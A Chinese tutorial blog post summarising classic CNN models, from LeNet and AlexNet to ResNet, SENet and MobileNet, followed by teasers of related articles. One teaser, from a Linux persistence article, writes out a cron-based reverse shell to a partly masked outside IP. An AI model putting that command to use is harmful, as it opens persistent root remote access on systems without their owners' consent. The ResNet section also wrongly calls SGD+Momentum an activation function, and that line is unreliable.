一文总结经典卷积神经网络CNN模型

news2025/1/10 20:59:57

一般的DNN直接将全部信息拉成一维进行全连接,会丢失图像的位置等信息。
CNN(卷积神经网络)更适合计算机视觉领域。下面总结从1998年至今的优秀CNN模型,包括LeNet、AlexNet、ZFNet、VGG、GoogLeNet、ResNet、DenseNet、SENet、SqueezeNet、MobileNet。在了解巨佬们的智慧结晶,学习算法上的思路和技巧,便于我们自己构建模型,也便于我们做迁移学习。
在观看了斯坦福的CS231n课程视频和同济子豪兄的视频后很有感悟,但在csdn发现没有类似详细的总结,希望帮到一些小白,搭配子豪兄的视频食用更佳哦。

  • 卷积可以 提取原图中符合卷积核特征的特征,赋予神经网络 局部感受野权值共享(卷积核是共享的)。
  • 池化(下采样)目的是 减少参数量防止过拟合平移不变性(原图像平移不改变模型判断结果)

在这里插入图片描述

模型总结的主线以历年ImageNet竞赛的优秀模型为主。
在这里插入图片描述
 
想高效入门深度学习的童鞋可以康康这篇哦:
《一文极速理解深度学习》

其中一些经典模型的代码实现可以康康这篇!
《经典卷积神经网络Python,TensorFlow全代码实现》

目录

  • LeNet
  • AlexNet
  • ZFNet
  • VGG
  • GoogLeNet (InceptionNet)
  • ResNet
  • DenseNet
  • SENet
  • SqueezeNet
  • MobileNet
  • 小总结

LeNet

1998年提出的模型,为了识别手写数字。7层CNN,网络结构就是 卷积池化+卷积池化+3层全连接

在这里插入图片描述

为了节省运算,不是所有通道都参与下一个卷积运算。
输出层不是用softmax,而是用了高斯连接。
采用了 Sigmoid / tanh 激活函数。

 

AlexNet

总结网络结构与LeNet差不多,但有更深的模型,更多卷积核,且处理的是自然图像,而不是手写数字。是ImageNet 2012年的winner,首次使用CNN,精度大幅提升,具有跨时代意义,之后所有CV领域的模型都是基于卷积神经网络。

原论文图中输入应该是227*227*3,原论文有误。
因为当时GPU内存不够,所以用2个GPU,每个GPU有48个卷积核,将模型并行计算。

在这里插入图片描述

在这里插入图片描述

卷积池化归一化统一算一层卷积层,因为池化和归一化没有参数,所以是8层CNN
在这里插入图片描述

参数量有6千万,比LeNet多了3个数量级。
NORM层是局部响应归一化层,现在很少用了,现在用Batch Normalization挺好的。
AlexNet使用了ReLU激活函数,Softmax输出层,最大池化,使用了图像数据增强,使用了Dropout(0.5),还用7个类似的模型进行了模型集成(精度提高了2.8%)。

核心创新点:
在这里插入图片描述
 

ZFNet

ImageNet竞赛2013年冠军。结构跟AlexNet没有本质区别,也是8层CNN,主要进行了超参数的优化,就是改改卷积的大小和步长。
但是他们这篇论文的核心贡献点是可视化神经网络,提出了反卷积、反池化、反激活,把feature map重构回原始输入空间,从而我们能直观看到底层的卷积核提取底层的边缘、颜色,越到高层卷积核提取的特征就越抽象和复杂,直观地理解CNN提取了哪些特征和特征的重要些。

在这里插入图片描述
在这里插入图片描述
 

VGG

2014年ImageNe分类竞赛亚军,但是在一个定位竞赛中是冠军。
VGG创新地只用了3*3卷积核,并将网络加深。
在这里插入图片描述

一共5个block,每个block有卷积和池化。VGG16表示共16个带参数的层,还有个VGG19,只是在最后3个block分别加了一个卷积层。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

主要的点是发挥了感受野的重要性,因为3层3*3卷积的感受野与1层7*7的卷积的感受野相同(2层3*3卷积的感受野与1层5*5的卷积的感受野相同),但3层3*3卷积会带来更少的参数、更深的网络、更多非线性变换

但参数有点臃肿
在这里插入图片描述

 

GoogLeNet (InceptionNet)

2014年ImageNe分类竞赛冠军。

之前的网络结构主要是堆叠卷积池化,GoogLeNet网络创新提出Inception module,主要堆叠这个 Inception module
在这里插入图片描述
本质是多尺度并行卷积和池化(1*1,3*3,5*5).因为有时图像中重点区域大小不一样(比如小狗的近照和远照),多个卷积核运算赋予同一张图不同感受野,充分地提取出图像特征
在这里插入图片描述

在这里插入图片描述
问题来了,这样子将feature map直接摞起来,会越来越厚,计算量会非常大

解决方法:1*1卷积
好处:升维或降维跨通道信息交融减少参数量增加模型深度(提高非线性能力)

在这里插入图片描述

在这里插入图片描述
子豪兄的这页PPT总结得非常好:

在这里插入图片描述
在 network in network 这篇论文中提出1*1卷积的重要性,(a)说明了28*28*256的输入经过32个5*5卷积,共需要201.8K个参数;(b)说明了28*28*256的输入先经过16个1*1卷积降维,再经过32个5*5卷积升维,得到同样大小的输出,但是只需要16.9K个参数,且增加了模型深度,充分说明了1*1卷积的好处。

经过改进:
在这里插入图片描述

参数少了很多,不错。

在这里插入图片描述

最终GoogLeNet网络结构(Deeper networks, with computational efficiency):
总共22个带参数的层 (并行的算1层)
在这里插入图片描述

 

ResNet

2015年是神仙打架的一年,真正开启了深度神经网络,CNN也是这一年超越了人类图像分类的水平。ResNet就是2015年ImageNet竞赛的冠军,由何凯明团队提出,当时在图像分类、语义分隔、定位等方面均战胜了历年来所有的模型,大喊一声:还有谁!

在这里插入图片描述
下面好好了解一下这个masterpiece。

首先当时的理念是网络层数不是越深越好。主要是梯度消失和网络退化现象

在这里插入图片描述

ResNet创新地提出 残差模块(Residual block)
核心思想就是在深层网络中卷积的输出等于浅层网络的结果加上残差,残差就是经过深层网络训练的结果,如果经过深层网络训练得到0,那么输出也是浅层网络的结果,至少模型不会变差,所以堆叠多个残差模块的结果必然是比浅层模型更好的。

在这里插入图片描述

在这里插入图片描述

所以ResNet网络可以疯狂加深,总层数可以为34、50、101或152层。

在这里插入图片描述

  • 用了步长为2的卷积代替池化
  • 用了MSRA初始化
  • 用了Batch normalization,激活函数是 SGD+Momentum(0.9)
  • 用了Global Average Pooling(GAP),大量节省了参数。

 

DenseNet

2017 CVPR最佳paper
Dense Block(每一层都与前面层相连):
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

 

SENet

2017年(最后一届)ImageNet竞赛冠军,由胡杰团队提出。

在这里插入图片描述
SENet的核心就是自适应学习得到每个feature map通道的权重
基于GAP(Global Average Pooling)去提取U中每个通道的权重,然后再把U和权重乘起来。它可以集成在任何网络的后面(Inception、resnet等)。

 

SqueezeNet

由巨佬Song Han提出,主要为了保持精度的同时压缩模型
在这里插入图片描述

 

MobileNet

重点也是压缩模型,为了使AI模型在边缘的移动设备上运行(边缘计算)。
核心是让每个通道分别用不同的卷积核卷积,再用1*1卷积跨通道融合特征。

在这里插入图片描述

 

小总结

很好的模型总结图!
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/421394.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

11万字数字政府智慧政务大数据建设平台(大数据底座、数据治理)

本资料来源公开网络,仅供个人学习,请勿商用,如有侵权请联系删除。部分资料内容: 一.1.1 数据采集子系统 数据采集需要实现对全区各委办单位的数据采集功能,包括离线采集、准实时采集和实时采集的采集方式,根…

【云原生】Kubernetes(k8s)之容器的探测

Kubernetes(k8s)之容器的探测一、探测类型及使用场景1.1、startupProbe(启动探测)1.2、readinessProbe(就绪探测)1.3、livenessProbe(存活探测)二、检查机制三、探测结果四、容器探测…

Springboot是怎么解决跨域问题的?

什么是跨域?简单理解,就是在不前网页下,试图访问另外一个不同域名下的资源时,受到浏览器同源策略的限制,而无法正常获取数据的情况;什么是同源策略同源策略是浏览器出于安全考虑而制定的一种限制资源访问的…

C++输入输出、缺省参数、函数重载【C++初阶】

目录 一、C输入&输出 二、缺省参数 1、概念 2、分类 (1)全缺省 (2)半缺省 三、函数重载 1、概念 2、原理------名字修饰 一、C输入&输出 在C语言中,我们常用printf和scanf这两个函数进行输入输出。 …

【权限维持】LinuxRootkit后门Strace监控Alias别名Cron定时任务

权限维持-Linux-定时任务-Cron后门 利用系统的定时任务功能进行反弹Shell 1、编辑后门反弹 vim /etc/.backshell.sh #!/bin/bash bash -i >& /dev/tcp/47.94.xx.xx/3333 0>&1 chmod x /etc/.backshell.sh2、添加定时任务 vim /etc/crontab */1 * * * * root /…

Vue插槽理解

Vue插槽理解插槽插槽 slot又名插槽,vue内容分发机制,组件内部的模板引擎使用slot元素作为承载分发内容的出口 插槽slot是子组件的一个模板标签元素,而这一个元素是否显示,以及怎么显示是由父组件决定的 slot分为三类:默…

【Java】Maven是什么?手把手先创建个Maven项目

🚀Java程序员必备的项目管理工具——Maven 📓推荐网站(不断完善中):个人博客 📌个人主页:个人主页 👉相关专栏:CSDN相关专栏 🏝立志赚钱,干活想躺,瞎分享的摸…

线程池技术

线程池技术是一种典型的生产者-消费者模型。 线程池技术是指能够保证所创建的任一线程都处于繁忙状态,而不需要频繁地为了某一任务而创建和销毁线程,因为系统在创建和销毁线程时所耗费的cpu资源很大。如果任务很多,频率很高,为了…

站上风口,文心一言任重道远

目录正式发布时机选择逻辑推理AI绘画用户选择总结自从OpenAI公司的chatGPT发布以来,吸引了全球目光,同时也引起了我们的羡慕,希望有国产的聊天机器人,盼星星盼月亮,终于等来了百度文心一言的发布。 正式发布 3月16日…

VUE3项目实现动态路由demo

文章目录1、创建vue项目2、安装常用的依赖2.1 安装elementUI2.2 安装axios2.3 安装router2.4 安装vuex2.5 安装store2.6 安装mockjs3、编写登录页面以及逻辑4、编写首页以及逻辑5、配置router.js6、配置store.js7、配置menuUtils.js(动态路由重点)8、配置…

像ChatGPT玩转Excel数据

1.引言 最近ChatGPT的出现,把人工智能又带起了一波浪潮。机器人能否替代人类又成了最近热门的话题。 今天我们推荐的一个玩法和ChatGPT有点不一样。我们的课题是“让用户可以使用自然语言从Excel查询到自己想要的数据”。 要让自然语言可以从Excel中查数据&#…

论文阅读笔记《Joint Graph Learning and Matching for Semantic Feature Correspondence》

核心思想 本文提出一种联合图学习和图匹配的算法(GLAM),将图的构建和匹配过程整合到一个端到端的注意力网络中。相比于其他启发式的建图方法,如Delaunay三角法、KNN方法或完全图,通过学习构建的图结构能够更加准确的反…

配置pytorch(gpu)分析环境

Pytorch是目前最火的深度学习框架之一,另一个是TensorFlow。不过我之前一直用到是CPU版本,几个月前买了一台3070Ti的笔记本(是的,我在40系显卡出来的时候,买了30系,这确实一言难尽),…

【AutoGPT】你自己运行,我先睡了—— ChatGPT过时了吗?

系列文章目录 【AI绘画】Midjourney和Stable Diffusion教程_山楂山楂丸的博客-CSDN博客 目录 系列文章目录 前言 一、AutoGPT是什么? 二、AutoGPT带来的利弊 三、AutoGPT和ChatGPT区别 四、未来 总结 前言 ChatGPT是否过时?AutoGPT的兴起&#…

【数字图像处理】空间滤波

文章目录1. 概述2 低通(平滑)滤波2.1 均值滤波2.2 中值滤波2.3 高斯低通滤波2.4 双边滤波2.5 导向滤波3 高通(锐化)滤波3.1 Laplacian滤波器3.3 Sobel滤波器1. 概述 图像空间滤波是一种常用的图像处理技术,用于改变图…

基于OpenCV的人脸识别

目录 🥩 前言 🍖 环境使用 🍖 模块使用 🍖 模块介绍 🍖 模块安装问题: 🥩 OpenCV 简介 🍖 安装 OpenCV 模块 🥩 OpenCV 基本使用 🍖 读取图片 🍗 【…

【Pytorch】利用PyTorch实现图像识别

本文参加新星计划人工智能(Pytorch)赛道:https://bbs.csdn.net/topics/613989052 这是目录使用torchvision库的datasets类加载常用的数据集或自定义数据集使用torchvision库进行数据增强和变换,自定义自己的图像分类数据集并使用torchvision库加载它们使…

安卓渐变的背景框实现

安卓渐变的背景框实现1.背景实现方法1.利用PorterDuffXfermode进行图层的混合,这是最推荐的方法,也是最有效的。2.利用canvas裁剪实现,这个方法有个缺陷,就是圆角会出现毛边,也就是锯齿。3.利用layer绘制边框1.背景 万…

Python 爬虫进阶必备 | 某电影站视频采集加密参数逻辑分析

点击上方“咸鱼学Python”,选择“加为星标”第一时间关注Python技术干货!今日网站aHR0cHM6Ly96MS5tMTkwNy5jbi8/ang9JUU1JTkzJTg4JUU1JTg4JUE5JUMyJUI3JUU2JUIzJUEyJUU3JTg5JUI5JUU0JUI4JThFJUU1JUFGJTg2JUU1JUFFJUE0加密定位与分析分析的网站是一个电影…

强化学习分类与汇总介绍

1.强化学习(Reinforcement Learning, RL) 强化学习把学习看作试探评价过程,Agent选择一个动作用于环境,环境接受该动作后状态发生变化,同时产生一个强化信号(奖或惩)反馈给Agent,Agent根据强化信号和环境当…